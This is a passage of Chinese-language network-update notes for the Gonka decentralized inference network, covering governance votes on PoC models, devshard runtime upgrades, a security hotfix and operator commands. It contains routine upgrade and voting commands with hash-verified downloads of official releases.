在第328轮中，moonshotai/Kimi-K2.6失去了PoC验证多数票。在第329轮开始时，运行Kimi的主机被移出群体。网络其余部分正常运行。
事件经过
两台运行Kimi的守护节点服务器同时发生故障：
Kimi的验证投票一直接近2/3阈值，因此此次故障足以使其群体低于多数。守护节点的平票机制未启动：当前未计入模型投票权重的守护节点会被过滤出平票机制。这是一个已知问题，将在即将发布的v0.2.14升级中修复。
这种情况与第306–307轮事件类似。第329轮开始时的投票具体细节仍在确认中，本摘要可能存在小幅修正。
恢复计划
恢复Kimi最安全的方式是通过全新引导（约1.5轮）重新添加：
委托指导变更——请仔细阅读
之前的指导（包括2026年6月27日的引导公告）建议将守护节点作为委托目标。此建议现已撤销：
修复已在途中* PoC验证中的守护投票（守护节点始终可以投票）——v0.2.14。 * 自委托问题——v0.2.14。 * Nonce重复——v0.2.14（当前由早期API更新处理）。 * 网络节点的RAM增长——已在devshard v3中修复；需要从v1/v2迁移。完全迁移后，v1/v2将被移除，/v1/devshard将关闭。为api和versiond容器设置独立的内存限制。
主机所需操作
/devshard/v3。这将修复RAM增长问题，并在移除v1/v2之前必须完成。api、versiond）。v0.2.13-devshard-v3运行时升级提案已通过治理
devshard v3运行时已上链批准并添加至DevshardEscrowParams.approved_versions。
本提案涵盖devshard v3发布。
这是一个仅限devshard的运行时升级。它独立于完整链软件升级运行，不需要链二进制升级。
提案通过后，v3现在与现有devshard运行时并行运行。新进程通过/devshard/v3前缀提供服务，而现有devshard流量可继续使用早期运行时前缀，直到经纪人将流量切换至v3。
此发布将devshardd二进制文件作为Gonka发布工件发布。versiond自动下载该二进制文件，验证sha256哈希，并在现有versiond容器内启动额外的devshardd进程。
对于这种仅限devshard的运行时升级，无需重启主网或手动执行主机步骤。
操作项
已获白名单的devshard创建者应在主网v0.2.14链升级前将推理流量切换至/devshard/v3。这将使他们在链升级期间仍能继续提供推理服务，而无需依赖已弃用的经典API路径。
关键变更
v0.2.13-devshard-v3运行时升级提案已进入治理
本提案涵盖devshard v3发布。
这是一个仅限devshard的升级。它独立于完整链软件升级运行。一旦获批，v3将与现有devshard运行时并行运行。
v3运行时为经纪人做好准备，使其在v0.2.14链升级期间无需依赖已弃用的经典API路径即可继续提供推理服务。它还改进了RAM利用率，修复了网关运行时行为，并启用了SQLite与Postgres存储之间的安全切换。
升级计划
devshard运行时通过链上参数提案升级，而非完整链软件升级。
该提案在DevshardEscrowParams.approved_versions中注册新条目：
name: v3binary: https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.13-devshard-v3.0.0/devshardd.zipsha256: ca1294fc8db3f0907a01f362eb4b13665f66d0fd12cfc6f01468b1e27f0bab63发布版本将 devshardd 二进制文件作为 Gonka 发布工件发布。如果链上提案获得批准，versiond 将自动下载二进制文件，验证 sha256 哈希值，并在现有的 versiond 容器内启动一个额外的 devshardd 进程。 新进程通过 /devshard/v3 前缀提供服务。现有 devshard 流量可继续使用早期运行时前缀，直到经纪人将流量切换到 v3。此类升级期间无需重启主网或手动执行主机步骤。
如何投票
如果您没有直接访问拥有投票权的密钥，或希望使用其他密钥代您投票，请参阅 指南，了解如何将冷密钥的治理投票权限授予热密钥。
提案详情和投票可通过 inferenced 查看。任何活跃节点均可使用。可用节点包括：
投出您的选票（yes，no，abstain，no_with_veto）：--unordered 和 --timeout-duration 标志需要 v0.2.13 或更高版本的 inferenced。
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 83 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nexport NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 83 -o json --node $NODE_URL/chain-rpc/\n投票结束：2026年7月11日 06:41:34 UTC
"}, {"location": "gonka/docs/zh/network-updates/#202678_1", "title": "2026年7月8日", "text": "升级 v0.2.14 的 PR 审查
此拉取请求 用于下一个链上软件升级 v0.2.14，现开放供审查。
主网链/API 工作重点包括：PoC 重复工件防护、早期共享检测、经典推理 API 废弃（禁用主网上的 /v1/chat/completions 计费并从 API 二进制文件中移除嵌入的 /v1/devshard）、奖励接收者路由，以及升级时的安全修复。
devshard 部分正在准备 v3 运行时，以便代理在链升级期间无需依赖已废弃的经典 API 路径即可提供推理服务，从而提升 RAM 利用率，并支持在 SQLite 和 Postgres 存储之间安全切换。
升级计划
节点二进制文件通过链上软件升级提案进行升级。现有主机无需在升级过程中手动更新其 api 或 node 容器。 将从本分支发布一个独立的 devshard v3 版本，并在主网链升级前推出。提前将推理流量切换至 /devshard/v3 的代理可在链升级期间继续提供推理服务。
提议流程
/devshard/v3。有意义的审查贡献，包括重要评论、漏洞发现和安全问题，可能有资格在下一个升级周期获得社区奖励。
本次仅为拉取请求的审查请求，不启动正式投票。治理投票流程将在审查期结束后开始。
devshard v3 治理投票
devshard v3 版本将在主网链升级前提出并推出，以便代理可在升级运行前将推理流量移至 /devshard/v3。
主机操作项
api 二进制文件和桥接镜像更新至 0.2.14。如果您的 api 二进制文件已更新，则只需更新桥接镜像并重启桥接容器。如果您已完成上述两步，则无需重复操作。如果您有多个节点，请逐个更新，并在 PoC 或 cPoC 之外执行此步骤。/devshard/v3。一旦 devshard v3 版本推出，请将推理流量移至 /devshard/v3，以便在链升级期间继续提供推理服务。devshard v3 投票启动并接近完成时发布。安全更新：PoC-v2 权重验证强化 — 更新您的 API 容器
上周，HackerOne 上报告了 PoC-v2 权重路径中的一个漏洞。参与者可膨胀其计算权重，从而影响区块奖励、共识投票权和治理投票权。
根据历史数据，此前未观察到此类攻击。但在当前纪元中，已检测到主机 gonka1w7s4pharl5qs2lupxkuw2c0gzcls8chehwafg3 的使用行为。
针对即将到来的 v0.2.14 链升级，已准备修复方案以永久解决此问题。由于攻击已在使用中，因此在升级前提供仅 API 的热修复补丁 — 可异步部署，通过强化 PoC-v2 验证来阻止攻击，使复制的计算无法通过采样检查。
请更新您的 API 容器。 确保在 PoC 或 cPoC 之外执行此步骤。 部署方式（一次一台机器以降低风险）：
sudo rm -rf decentralized-api.zip .dapi/cosmovisor/upgrades/v0.2.13-post7/ .dapi/data/upgrade-info.json\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.13-post7/bin/\nwget -q -O decentralized-api.zip 'https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.13-post7/decentralized-api-amd64.zip' && \\\necho \"55de4023119d103683cdbfa41c204274d3189636e4119ea3a2d8afdfa0a6fa47 decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.13-post7/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.13-post7/bin/decentralized-api && \\\necho \"API Installed and Verified\" && \\\n\ndocker stop api && \\\nsudo rm -rf .dapi/cosmovisor/current && \\\nsudo ln -sf upgrades/v0.2.13-post7 .dapi/cosmovisor/current && \\\necho \"e97d89cfaca98547b5966a87bd99ec6faab9df9eda1782f584a36d49237c01e6 .dapi/cosmovisor/current/bin/decentralized-api\" | sha256sum --check && \\\ndocker start api\nKimi-K2.6 引导：第 311 个纪元的再次尝试
moonshotai/Kimi-K2.6 在第 311 个纪元进行另一次引导尝试。希望提供 Kimi 服务的主机需在第 310 个纪元声明意图，并在新纪元开始前准备好节点。一个守护节点也将运行 Kimi，因此不愿运行 Kimi 的主机可将其权重委托给该节点。
将运行 Kimi 的主机
./inferenced tx inference declare-poc-intent moonshotai/Kimi-K2.6\n不运行 Kimi 的主机
将您的权重委托给运行 Kimi 的主机（或发送拒绝声明）：
./inferenced tx inference set-poc-delegation moonshotai/Kimi-K2.6 <DELEGATEE>\ngonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5 将运行 Kimi，并可作为委托目标。~~ 更新（2026年7月15日）：此建议已撤销——请勿向守护节点委托。 守护节点是 PoC 验证的备用机制，必须与委托保持独立。请选择运行模型的非守护主机，并避免选择已是主要委托目标的主机。有关更新的委托指南，请参阅 多模型 PoC 指南。
关键时间点 意向截止时间（第310轮）：区块 4,797,456 —— 约6月28日，12:00 UTC。 * 第311轮开始：区块 4,797,956* —— 约6月28日，12:47 UTC。
更多关于引导流程的信息：https://gonka.ai/docs/host/kimi-bootstrap/
"}, {"location": "gonka/docs/zh/network-updates/#2026626", "title": "2026年6月26日", "text": "紧急治理投票79：恢复 moonshotai/Kimi-K2.6 并添加 GLM-5.2关键变更1. 恢复 Kimi-K2.6
Kimi-K2.6 将与 weight_scale_factor=0.9 一同恢复。该系数的选择使得在8xB300硬件上运行Kimi时，其共识权重与主模型MiniMax大致相同。此设计并非偏向任何硬件——MiniMax上已具备相同的权重。在8xB300主机上运行Kimi而非MiniMax，可获得约1%的增益。 此方案使Kimi非常适合8xB200和8xB300服务器。
按硬件类型估算的共识权重： https://docs.google.com/spreadsheets/d/1yQ-8UHnHC5pvqd6uDB1dRPzHJ2qfJoQrXssXIGi8QMg/edit?usp=sharing
常规引导流程从第309轮开始。由于投票在PoC开始前约1小时结束，请在投票结束后立即提交 MsgDeclarePoCIntent。 更多引导信息：https://gonka.ai/docs/host/kimi-bootstrap/
2. 添加 GLM-5.2
GLM-5.2 将与 weight_scale_factor=2.47 和 penalty_start_epoch=500 一同添加（此举将取消该模型的未参与惩罚）。该系数的选择使得在8xB300硬件上运行GLM-5.2时，其共识权重与MiniMax大致相同。此设计并非偏向任何硬件。在8xB300主机上运行GLM-5.2而非MiniMax，可获得约2%的增益。 此方案使其非常适合8xB300服务器。
按硬件类型估算的共识权重： https://docs.google.com/spreadsheets/d/1yQ-8UHnHC5pvqd6uDB1dRPzHJ2qfJoQrXssXIGi8QMg/edit?usp=sharing
MLNode版本和操作说明将在投票结束后发布。
引导流程说明
两个模型均通过标准引导流程进入，因此主机可在投入硬件前确认其可行性：
声明意向。 计划提供Kimi或GLM-5.2的主机，需在 start_poc - deploy_window 的引导快照前为该模型提交 MsgDeclarePoCIntent。
预资格快照。 在 start_poc - deploy_window，链将快照意向和委托，并发出建议性预资格事件（治理批准、权重阈值 W_threshold、最低成员数 V_min、以及 >2/3 可达性）。这使运营商能在配置资源前确认模型是否可行。
部署窗口。 已声明意向的主机在部署窗口内为其模型配置MLNode。
PoC启动。 成员资格由在PoC启动时实际提交PoC存储提交的节点决定——而非仅凭意向声明。只有满足资格条件的模型才会被激活。
若获批准的影响
从第309轮起（PoC启动约6月26日15:25 UTC；生效约16:00 UTC），前提是各模型满足引导资格：
moonshotai/Kimi-K2.6 再次成为活跃的PoC模型。zai-org/GLM-5.2-FP8 作为可选的PoC模型提供，无非参与惩罚。MiniMaxAI/MiniMax-M2.7 仍为基础模型。为何紧急
提案必须在第308轮结束前完成，以便两个模型都能在第309轮启动。由于每轮约22.8小时，标准48小时投票周期无法容纳在单轮内；而12小时紧急周期可以。创世守护节点预计支持本提案。
主机需执行的操作
若要提供Kimi： 在投票结束后立即为 moonshotai/Kimi-K2.6 声明意向。然后，在PoC 309中将您的MLNode切换至该模型。在PoC启动前有约500区块的安全窗口，在此期间切换是安全的，因为此期间无cPoC。
若要提供GLM-5.2： 为 zai-org/GLM-5.2-FP8 声明意向，并在部署窗口内配置您的MLNode。提供该模型是自愿的——未选择的主机不会受到惩罚。
若要继续使用MiniMax： 继续提供 MiniMaxAI/MiniMax-M2.7 —— 无需任何操作。
在截止前对提案79进行投票。 紧急窗口时间很短。
如何投票
如果您没有直接访问拥有投票权的密钥，或希望由其他密钥代为投票，请参阅 指南 了解如何将治理投票权限从冷密钥授予热密钥。提案详情和投票可通过 inferenced 访问：任何活跃节点均可使用：
投票（yes，no，abstain，no_with_veto）：
export NODE_URL=https://node3.gonka.ai/\n ./inferenced tx gov vote 79 yes \\\n --from <cold_key_name> \\\n --keyring-backend file \\\n --unordered \\\n --timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n --node $NODE_URL/chain-rpc/ \\\n --chain-id gonka-mainnet \\\n --yes\n export NODE_URL=https://node3.gonka.ai/\n ./inferenced query gov votes 79 -o json --node $NODE_URL/chain-rpc/\n提案78已通过：MiniMaxAI/MiniMax-M2.7 现为唯一的PoC模型；Kimi K2.6 和 Qwen3-235B 已移除
提案78的紧急投票已通过。这些变更从第308个纪元起生效。
当前生效内容
initial_model_id 已设置为 MiniMaxAI/MiniMax-M2.7 —— MiniMax 为基础模型。MiniMaxAI/MiniMax-M2.7 是 PoC 参数中唯一的模型。Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 和 moonshotai/Kimi-K2.6 已从 PoC 参数中移除。Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 和 moonshotai/Kimi-K2.6 已从治理模型中删除。自第308个纪元起，MiniMaxAI/MiniMax-M2.7 是唯一的活跃PoC模型。Qwen3-235B 和 Kimi K2.6 不再活跃。
主机所需操作* 请确保您的MLNode正在提供 MiniMaxAI/MiniMax-M2.7。任何仍在使用Qwen或Kimi的主机，在切换前将无法获得本纪元的cPoC奖励。 * 计划再次提供Kimi的主机应保留Kimi的部署环境，并准备在PoC 309时将MLNode切换回Kimi——在第308纪元将进行一次恢复Kimi的投票。
接下来的内容
在第308纪元将进行一次紧急投票，合并两项变更，均于第309纪元生效（PoC开始时间约为2026年6月26日15:25 UTC）：
紧急治理投票（提案78）：MiniMax-M2.7 成为唯一的PoC模型；Kimi K2.6 被移除以实现快速重启；Qwen3-235B 被退役
moonshotai/Kimi-K2.6 目前尚未获得足够的投票以通过PoC验证。因此，提供Kimi的参与者被移出组，Kimi无法进入下一个纪元。现在将其从活跃集合中移除并重新引导，是使其以最小停机时间恢复的最快方式。
一项紧急提案现已上链，以便在下一个纪元开始前生效。 链上提案在一次投票中执行以下操作： 1. 将委托 initial_model_id 设置为 MiniMaxAI/MiniMax-M2.7，使MiniMax成为基础模型。 2. 仅在PoC参数中保留 MiniMaxAI/MiniMax-M2.7。 3. 从PoC参数中移除 Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 和 moonshotai/Kimi-K2.6。 4. 从治理模型中删除 Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 和 moonshotai/Kimi-K2.6。
每项变更的目的 Kimi K2.6 — 被移除以便快速恢复。 由于Kimi未获得足够的PoC验证投票，将其移除并重新引导是最快恢复且停机时间最短的方案。下个纪元将进行一次恢复Kimi的投票。 * Qwen3-235B — 被退役（独立、无关变更）。 退役旧版Qwen3-235B是一项独立的、此前已请求的阵容调整。它与Kimi的情况无关，仅因同样是PoC阵容变更而被一并纳入。 * MiniMax-M2.7 — 升级为基础模型。*
这些变更被合并为一次紧急投票，因为重置必须在第307纪元结束前完成。每个纪元约22.9小时，标准48小时投票周期无法容纳在一个纪元内；而12小时的紧急周期可以。创世守护者应支持此提案。
若获批准的效果
自第308纪元起（约2026年6月25日17:25 UTC），MiniMaxAI/MiniMax-M2.7 是唯一的活跃PoC模型。Qwen3-235B 和 Kimi K2.6 不再活跃。Kimi的恢复将在下一个纪元的后续投票中处理。
主机所需操作
MiniMaxAI/MiniMax-M2.7。 所有主机——包括当前使用Qwen或Kimi的主机——都必须将MLNode切换至MiniMax。在PoC开始前有约500个区块的窗口期可以安全切换，因为此期间无cPoC。请现在预先下载FP8权重（如尚未准备），以免在纪元边界遭遇Hugging Face速率限制。接下来的内容 恢复Kimi K2.6 — 在第308个周期中进行的后续投票，以重新添加Kimi并重启其引导过程。 * GLM-5.2 — 一项后续提案将添加GLM-5.2，不设不参与惩罚*，以便主机可选择加入并提前测试模型需求，对选择不提供该模型的主机不施加任何惩罚。
如何投票
如果您没有直接访问拥有投票权的密钥，或希望使用其他密钥代为投票，请参阅指南了解如何将冷密钥的治理投票权限授予热密钥。提案详情和投票可通过 inferenced 查看。任何活跃节点均可使用：
投出您的投票（yes, no, abstain, no_with_veto）：
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 78 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\n检查投票状态：
export NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 78 -o json --node $NODE_URL/chain-rpc/\n截止日期 提案78投票结束：2026年6月25日 15:39:53 UTC*（紧急）。 * 第308周期将在之后不久形成：PoC开始约16:50 UTC，生效约17:25 UTC。 * 紧急提案要求0.667的赞成阈值；参与率至关重要，请尽快投票。
"}, {"location": "gonka/docs/zh/network-updates/#2026622", "title": "2026年6月22日", "text": "v0.2.13-devshard-v2运行时升级提案已通过治理
devshard v2运行时已通过链上批准并添加至 DevshardEscrowParams.approved_versions。
本提案涵盖devshard v2发布：https://github.com/gonka-ai/gonka/releases/tag/release/devshard/v2.0.0
这是首次仅针对devshard的运行时升级。它独立于完整链软件升级，无需链二进制升级。
提案获批后，v2可与现有的v1 devshard运行时并行运行。新进程通过 /devshard/v2 前缀提供服务，而现有的v1流量继续在 /devshard/v1 和 /v1/devshard 上运行。
发布版本将 devshardd 二进制文件作为Gonka发布工件发布。versiond 会自动下载该二进制文件，验证sha256哈希值，并在现有的 versiond 容器内启动一个额外的 devshardd 进程。
对于此类仅devshard的运行时升级，无需重启节点容器或手动执行主机步骤。
主要变更
1) 移除了种子揭示轮次，密封已完成的推理统计信息，并修剪负载，以避免长时间运行的会话将所有已服务的推理保留在RAM或状态中。 2) 通过OpenTelemetry和Prometheus添加了内部devshard追踪和指标。 3) 添加了使用Grafana、Jaeger、Prometheus、Loki、Promtail和cAdvisor的join-stack可观测性。 4) 将每个推理的验证计数器移出状态根，存入SQLite/Postgres，并在推理修剪后通过devshard统计端点暴露每个插槽的总计数。 5) 在周期变更时修剪旧周期存储，将SQLite/Postgres模式设置移出热路径，并强制每个进程仅选择一个存储后端。
"}, {"location": "gonka/docs/zh/network-updates/#2026615", "title": "2026年6月15日", "text": "v0.2.13-devshard-v2运行时升级提案已进入治理阶段。
本提案涵盖devshard v2发布：https://github.com/gonka-ai/gonka/releases/tag/release/devshard/v2.0.0 这是首次仅针对devshard的升级。它独立于完整链软件升级。若获批准，v2将与现有的v1 devshard运行时并行运行。 详情请参阅升级设计文档和版本化包。
主要变更
移除种子揭示轮次，密封已完成的推理统计信息，并修剪负载，以避免长时间运行的会话将所有已服务的推理保留在RAM或状态中
通过OpenTelemetry和Prometheus添加内部devshard追踪和指标
添加使用Grafana、Jaeger、Prometheus、Loki、Promtail和cAdvisor的join-stack可观测性
将每个推理的验证计数器存储在状态根之外的SQLite/Postgres中，并在推理修剪后通过devshard统计端点暴露每个插槽的总计数
在周期变更时修剪旧周期存储，将SQLite/Postgres模式设置移出热路径，并为每个进程选择恰好一个存储后端
升级计划
devshard运行时通过链上参数提案进行升级，而非完整链软件升级。
该提案在 DevshardEscrowParams.approved_versions 中注册一个新条目。
发布版本将 devshardd 二进制文件作为Gonka发布工件发布。如果链上提案获得批准，versiond 将自动下载该二进制文件，验证sha256哈希值，并在现有的 versiond 容器内启动一个额外的 devshardd 进程。
新进程通过 /devshard/v2 前缀提供服务。现有的v1 devshard流量继续在 /devshard/v1 和 /v1/devshard 上运行。在此类升级期间，无需重启节点容器或手动执行主机步骤。
如何投票
如果您没有直接访问拥有投票权的密钥，或希望使用其他密钥代为投票，请参阅指南了解如何将冷密钥的治理投票权限授予热密钥。 提案详情和投票可通过 inferenced 查看。任何活跃节点均可使用。可用节点包括：
投出您的选票（yes，no，abstain，no_with_veto）：--unordered 和 --timeout-duration 标志需要 v0.2.13 或更高版本的 inferenced。
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 76 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nexport NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 76 -o json --node $NODE_URL/chain-rpc/\n投票结束：2026年6月17日 23:39:02 UTC
"}, {"location": "gonka/docs/zh/network-updates/#202666", "title": "2026年6月6日", "text": "仅用于devshard的升级PR 现已开放评审。
这是首次仅针对devshard的升级，因此流程与标准链升级不同。Devshard升级独立于主区块链更新devshard运行时。它们不需要通过Cosmovisor协调全节点升级，不影响主网行为，也不预期会导致推理服务停机。
如果通过治理流程批准，新版本的devshard将与现有的v1运行时并行运行。
请直接审查PR，并对任何发现、问题、改进建议、边缘情况或潜在漏洞留下评论。
有意义的评审贡献，包括重要评论、错误发现和安全问题，可能有资格在下一轮升级周期中获得社区奖励。
这仅是呼吁审查PR。它不会启动正式投票。治理投票流程将在评审期结束后开始。
"}, {"location": "gonka/docs/zh/network-updates/#2026528", "title": "2026年5月28日", "text": "MiniMax-M2.7 现已在 Gonka 网络上激活
v0.2.13中宣布的引导阶段已完成。自链纪元278起，MiniMaxAI/MiniMax-M2.7与Qwen3-235B和Kimi K2.6一同成为活跃模型组，MiniMax组中获得的PoC权重现在以校准系数0.3024转换为共识权重。
针对MiniMax的每模型参与强制执行现已生效。已为MiniMax选择DIRECT、DELEGATE或REFUSE的主机无需做任何其他操作——现有设置将继续有效。尚未做出选择的主机应尽快选择，以避免每纪元惩罚（https://gonka.ai/docs/host/quickstart/#optional-poc-delegation-and-refusal）。
"}, {"location": "gonka/docs/zh/network-updates/#2026526", "title": "2026年5月26日", "text": "升级已执行：v0.2.13 现已在主网上线
Upgrade Proposal v0.2.13（提案ID 54）的链上治理投票已结束。 该提案已获批准，升级已在主网4267300区块成功执行。
升级 v0.2.13：预下载二进制文件和 MiniMax-M2.7 权重
v0.2.13升级提案（提案ID 54）已通过链上治理，升级现已安排。
提前预下载二进制文件和权重有助于避免在升级窗口期间依赖GitHub / Hugging Face的可用性。
# 1. Create Directories\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.13/bin \\\n .inference/cosmovisor/upgrades/v0.2.13/bin && \\\n# 2. DAPI: Download -> Verify -> Unzip directly to bin -> Make Executable\nwget -q -O decentralized-api.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.13/decentralized-api-amd64.zip\" && \\\necho \"cf31fa4d715e721d1e17b7e2b46d628a0b66b6ef603d352d587abe1d57c40925 decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.13/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.13/bin/decentralized-api && \\\necho \"DAPI Installed and Verified\" && \\\n# 3. Inference: Download -> Verify -> Unzip directly to bin -> Make Executable\nsudo rm -rf inferenced.zip .inference/cosmovisor/upgrades/v0.2.13/bin/ && \\\nwget -q -O inferenced.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.13/inferenced-amd64.zip\" && \\\necho \"ea7dea6c4e8d96ed61005bed196768cc9f44e5fb17f0714cb64d1d00a485be0c inferenced.zip\" | sha256sum --check && \\\nsudo unzip -o -j inferenced.zip -d .inference/cosmovisor/upgrades/v0.2.13/bin/ && \\\nsudo chmod +x .inference/cosmovisor/upgrades/v0.2.13/bin/inferenced && \\\necho \"Inference Installed and Verified\" && \\\n# 4. Cleanup and Final Check\nrm decentralized-api.zip inferenced.zip && \\\necho \"--- Final Verification ---\" && \\\nsudo ls -l .dapi/cosmovisor/upgrades/v0.2.13/bin/decentralized-api && \\\nsudo ls -l .inference/cosmovisor/upgrades/v0.2.13/bin/inferenced && \\\necho \"f93d579ef9c46ade9f28c73c339df2f7ae73607115b7efeb849316984924f68d .dapi/cosmovisor/upgrades/v0.2.13/bin/decentralized-api\" | sudo sha256sum --check && \\\necho \"e52b86c4f64a47f0ea9bdb3327feb321b8a4208a76b35d52a7e9ddd1b9d6eed5 .inference/cosmovisor/upgrades/v0.2.13/bin/inferenced\" | sudo sha256sum --check\nv0.2.13投票结束——准备在高度4267300执行升级
对Upgrade Proposal v0.2.13（提案ID 54）的链上治理投票已结束。该提案已批准。
升级将在主网区块高度4267300（≈ 2026年5月26日星期二 14:42 UTC / 07:42 PDT）自动执行。
提醒
0x972a7a92d92796a98801a8818bcf91f1648f2f68）、USDC/USDT代币元数据和CW20 wrapped_token代码ID 105均通过升级处理器注册，因此桥接将在升级高度在主网上激活。验证说明：https://gonka.ai/docs/network-updates/#may-7-2026。MiniMaxAI/MiniMax-M2.7，请现在预下载约230 GB的FP8权重。在引导窗口期间，Hugging Face的速率限制和带宽饱和可能导致错过首次资格检查。Qwen/Qwen3-235B-A22B-Instruct-2507-FP8、moonshotai/Kimi-K2.6和MiniMaxAI/MiniMax-M2.7。即使只运行其中一个或两个模型的主机，也必须为其他模型选择DELEGATE或REFUSE。MiniMax的截止时间为链纪元 278。不采取任何行动的主机将从纪元278起，对其全部权重施加15%的每纪元惩罚。.inference/data 有足够的空闲空间用于cosmovisor状态备份；如果 application.db 较大，请在升级前应用cosmovisor备份指南中的清理技术。v0.2.13校准将Kimi K2.6 WeightScaleFactor 从 1.26 调整为 0.78，以反映Qwen-on-B200参考的vLLM-0.20.1吞吐量基准。此调整仅适用于您共识权重中的Kimi部分；您的Qwen部分权重和Kimi内部PoC分配保持不变。在B200/B300上，Kimi仍是收益最高的选项；在H100/H200上，MiniMax-M2.7成为与Qwen相当、高于Kimi的选项。
提案：https://github.com/gonka-ai/gonka/pull/1143
upgrades.gov0.2.13升级提案进入治理阶段
v0.2.13提案 已重新上链并开放投票。这是对之前发布但未通过的提案的重新投票，现提交了若干更新。
0.78）、新模型 MiniMaxAI/MiniMax-M2.7、验证阈值更新、devshard存储重构，以及若干PoC/奖励修复。该PR：https://github.com/gonka-ai/gonka/pull/1143
关键变更模型
MiniMaxAI/MiniMax-M2.7添加为治理批准的模型和PoC模型。0.9400.9000.922WeightScaleFactor值：0.359（未变）0.78（从1.26下调，相当于在相同PoC权重下Kimi的每轮共识权重减少了约38%）0.3024参考数据：https://docs.google.com/spreadsheets/d/1dHHlbhW1_hVgd7Q6MtmcVSOpmnl7NnynoTzPHJ1oU-g/edit?gid=0#gid=0
inference-chain
20_000提升至1_000_000。100提升至500_000。ConsecutiveInvalidInferences。MsgRespondDealerComplaints授权。0.25。若守护者不投票，则剩余75%投票权的有效法定人数为1/3（0.25 / 0.75 = 0.334）。allowed_creator_addresses添加4个早期主机和经纪人。Ethereum桥接主网激活
0x972a7a92d92796a98801a8818bcf91f1648f2f68、USDC和USDT代币元数据、桥接交易授权以及CW20 wrapped_token代码ID 105。decentralized-api & devshard
9400启用NodeManagerGrpcPort。升级计划
若获得批准，二进制版本将通过链上升级提案更新。有关升级流程的更多信息，请参阅/docs/upgrades.md.
升级前的必要操作
如果提案获得批准，建议进行以下准备工作。
在第278个周期前选择MiniMaxAI/MiniMax-M2.7参与方式（届时开始处罚）
对于每个经治理批准的模型，多模型PoC要求每个主机明确选择参与方式（DIRECT / DELEGATE / REFUSE）。在模型的PenaltyStartEpoch之后不采取任何操作将导致处罚。在此阶段，您应提前决定首选选项，以便在提案通过且升级成功应用于主网时能够迅速行动。
网桥容器更新/验证
所有主机需验证其网桥容器已部署、运行最新版本并正确同步。部分主机可能已部署网桥容器。在这种情况下，请先检查您运行的是当前版本，再进行任何进一步操作。 请遵循以下说明：https://gonka.ai/docs/network-updates/#may-7-2026
仪表盘/浏览器更新（升级前或升级后）
主机需更新仪表盘/浏览器。请从gonka/deploy/join目录运行以下命令。如果您尚未本地克隆gonka仓库，请先参考加入网络指南。此仪表盘更新仅为容器拉取，无论投票结果如何，均可在投票结束前或结束后安全运行。
docker compose -f docker-compose.mlnode.yml -f docker-compose.yml pull explorer\ndocker compose -f docker-compose.mlnode.yml -f docker-compose.yml up -d explorer\n如何投票
如果您没有直接访问拥有投票权的密钥，或希望由另一个密钥代表您投票，请参阅指南了解如何将治理投票权限从冷密钥授予热密钥。 提案详情和投票可通过 inferenced 查看。任何活跃节点均可使用，可用节点包括：
投出您的选票（yes，no，abstain，no_with_veto）：--unordered 和 --timeout-duration 标志需要 inferenced v0.2.12 或更高版本。
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 54 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nexport NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 54 -o json --node $NODE_URL/chain-rpc/\n截止日期
注意
.inference/data 目录中创建完整状态备份；请确保有足够的磁盘空间（主网中 Cosmovisor 对 application.db 的备份通常为数十GB，需提前确认）。有关如何安全删除 .inference 目录中的旧备份的指南，请参阅文档。application.db 占用大量磁盘空间，可应用指南中描述的清理技术。no_with_veto 超过⅓），链上无任何变更，升级将不会发生。运营商可能会看到 PROPOSAL_FAILED 状态；这是预期行为，无需操作。代理容器可能会全局限制对 devshards 的并行连接数，而非按客户端限制
修复的PR：https://github.com/gonka-ai/gonka/pull/1183
要应用此修复，请：
在 docker-compose.yml 中设置容器版本
...\n proxy:\n container_name: proxy\n image: ghcr.io/product-science/proxy:0.2.12-post5\n...\n重启容器：
source config.env && docker compose up -d proxy --force-recreate --no-deps\n在PoC/确认PoC阶段之外更新容器更安全。要检查是否存在确认PoC：
curl \"https://node3.gonka.ai/v1/epochs/latest\" | jq '.is_confirmation_poc_active'\n周期 #267：PoC验证已恢复
在周期 #267 中，PoC验证已成功完成，受影响的主机已能重新加入活跃集合。
周期 #266 的问题由针对运行Kimi模型的主机的攻击引起。网络继续运行，但该攻击结合若干相关条件，导致许多参与者无法进入周期 #266。
